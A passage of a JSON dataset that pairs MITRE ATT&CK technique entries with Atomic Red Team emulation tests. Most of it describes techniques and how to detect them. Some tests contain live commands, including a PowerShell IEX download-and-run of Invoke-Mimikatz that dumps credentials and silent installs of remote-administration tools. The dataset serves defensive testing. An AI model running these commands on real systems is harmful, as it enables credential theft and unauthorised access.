"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Service: Service Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "identifier": "T1569.001" - }, - "atomic_tests": [] - }, - "T1059.008": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", - "created": "2020-10-20T00:09:33.072Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.008", - "url": "https://attack.mitre.org/techniques/T1059/008" - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Command History", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020." - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", - "modified": "2022-04-19T20:28:09.848Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Network Device CLI", - "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1559.003": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Csaba Fitzl @theevilbit of Offensive Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19", - "created": "2021-10-12T06:45:36.763Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1559.003", - "url": "https://attack.mitre.org/techniques/T1559/003" - }, - { - "source_name": "creatingXPCservices", - "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1", - "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022." - }, - { - "source_name": "Designing Daemons Apple Dev", - "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html", - "description": "Apple. (n.d.). Retrieved October 12, 2021." - }, - { - "source_name": "CVMServer Vuln", - "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html", - "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021." - }, - { - "source_name": "Learn XPC Exploitation", - "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/", - "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", - "modified": "2022-04-20T22:54:47.164Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "XPC Services", - "x_mitre_detection": "", - "kill_chain_phases": [ - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Access" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1204": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS", - "IaaS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oleg Skulkin, Group-IB" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "1.5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1204", - "url": "https://attack.mitre.org/techniques/T1204" - }, - { - "source_name": "Telephone Attack Delivery", - "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery", - "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", - "modified": "2022-04-19T20:31:15.373Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "User Execution", - "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Container: Container Start", - "Command: Command Execution", - "Instance: Instance Creation", - "Instance: Instance Start", - "File: File Creation", - "Network Traffic: Network Traffic Content", - "Process: Process Creation", - "Application Log: Application Log Content", - "Container: Container Creation", - "Network Traffic: Network Connection Creation", - "Image: Image Creation" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1196": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1196", - "url": "https://attack.mitre.org/techniques/T1196" - }, - { - "source_name": "Microsoft Implementing CPL", - "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", - "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx" - }, - { - "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Jan 2014" - }, - { - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", - "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", - "source_name": "TrendMicro CPL Malware Dec 2013" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", - "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", - "source_name": "Palo Alto Reaver Nov 2017" - } - ], - "modified": "2020-01-31T18:59:21.682Z", - "name": "Control Panel Items", - "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1053.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", - "type": "attack-pattern", - "created": "2019-12-03T14:15:27.452Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.004", - "url": "https://attack.mitre.org/techniques/T1053/004" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", - "source_name": "AppleDocs Launch Agent Daemons" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - } - ], - "modified": "2021-10-07T21:38:03.610Z", - "name": "Launchd", - "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_deprecated": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1072": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Shane Tully, @securitygypsy" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", - "type": "attack-pattern", - "created": "2017-05-31T21:30:57.201Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1072", - "url": "https://attack.mitre.org/techniques/T1072" - }, - { - "external_id": "CAPEC-187", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/187.html" - } - ], - "modified": "2020-12-11T17:00:00.938Z", - "name": "Software Deployment Tools", - "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Application Log: Application Log Content" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "x_mitre_remote_support": true, - "identifier": "T1072" - }, - "atomic_tests": [ - { - "name": "Radmin Viewer Utility", - "auto_generated_guid": "b4988cad-6ed2-434d-ace5-ea2670782129", - "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "radmin_installer": { - "description": "Radmin Viewer installer", - "type": "path", - "default": "RadminViewer.msi" - }, - "radmin_exe": { - "description": "The radmin.exe executable from RadminViewer.msi", - "type": "path", - "default": "Radmin Viewer 3/Radmin.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n", - "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{radmin_exe}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Write-Host Downloading radmin installer\n(New-Object Net.WebClient).DownloadFile(\"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\",\"$ENV:Temp\\#{radmin_installer}\")\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , $ENV:Temp\\#{radmin_installer}, /qn\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "\"%PROGRAMFILES(x86)%/#{radmin_exe}\"\n" - } - }, - { - "name": "PDQ Deploy RAT", - "auto_generated_guid": "e447b83b-a698-4feb-bed1-a7aaf45c3443", - "description": "An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "PDQ_Deploy_installer": { - "description": "PDQ Deploy Install", - "type": "path", - "default": "PDQDeploysetup.exe" - }, - "PDQ_Deploy_exe": { - "description": "The PDQDeployConsole.exe executable from PDQDeploysetup.exe", - "type": "path", - "default": "Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n", - "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Write-Host Downloading PDQ Deploy installer\n(New-Object Net.WebClient).DownloadFile(\"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\",\"$ENV:Temp\\#{PDQ_Deploy_installer}\")\nWrite-Host Install PDQ Deploy\nStart-Process $ENV:Temp\\#{PDQ_Deploy_installer} -Wait -ArgumentList \"/s\"\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "\"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\"\n" - } - } - ] - }, - "T1059.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Mayuresh Dani, Qualys", - "Praetorian" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", - "created": "2020-03-09T13:48:55.078Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.001", - "url": "https://attack.mitre.org/techniques/T1059/001" - }, - { - "source_name": "Microsoft PSfromCsharp APR 2014", - "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", - "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019." - }, - { - "source_name": "SilentBreak Offensive PS Dec 2015", - "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", - "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018." - }, - { - "source_name": "FireEye PowerShell Logging 2016", - "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", - "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016." - }, - { - "source_name": "Github PSAttack", - "url": "https://github.com/jaredhaight/PSAttack", - "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016." - }, - { - "source_name": "inv_ps_attacks", - "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", - "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021." - }, - { - "source_name": "Malware Archaeology PowerShell Cheat Sheet", - "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016." - }, - { - "source_name": "TechNet PowerShell", - "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", - "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016." - }, - { - "source_name": "Sixdub PowerPick Jan 2016", - "url": "http://www.sixdub.net/?p=367", - "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", - "modified": "2022-04-19T20:25:48.646Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Command and Scripting Interpreter: PowerShell", - "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "Process: Process Creation", - "Script: Script Execution", - "Process: Process Metadata", - "Command: Command Execution" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1059.001" - }, - "atomic_tests": [ - { - "name": "Mimikatz", - "auto_generated_guid": "f3132740-55bc-48c4-bcc0-758a459cd027", - "description": "Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "mimurl": { - "description": "Mimikatz url", - "type": "url", - "default": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1" - } - }, - "executor": { - "command": "powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds\"\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Run BloodHound from local disk", - "auto_generated_guid": "a21bb23e-e677-4ee7-af90-6931b57b6350", - "description": "Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "File path for SharpHound payload", - "type": "string", - "default": "PathToAtomicsFolder\\T1059.001\\src" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "SharpHound.ps1 must be located at #{file_path}\n", - "prereq_command": "if (Test-Path #{file_path}\\SharpHound.ps1) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest 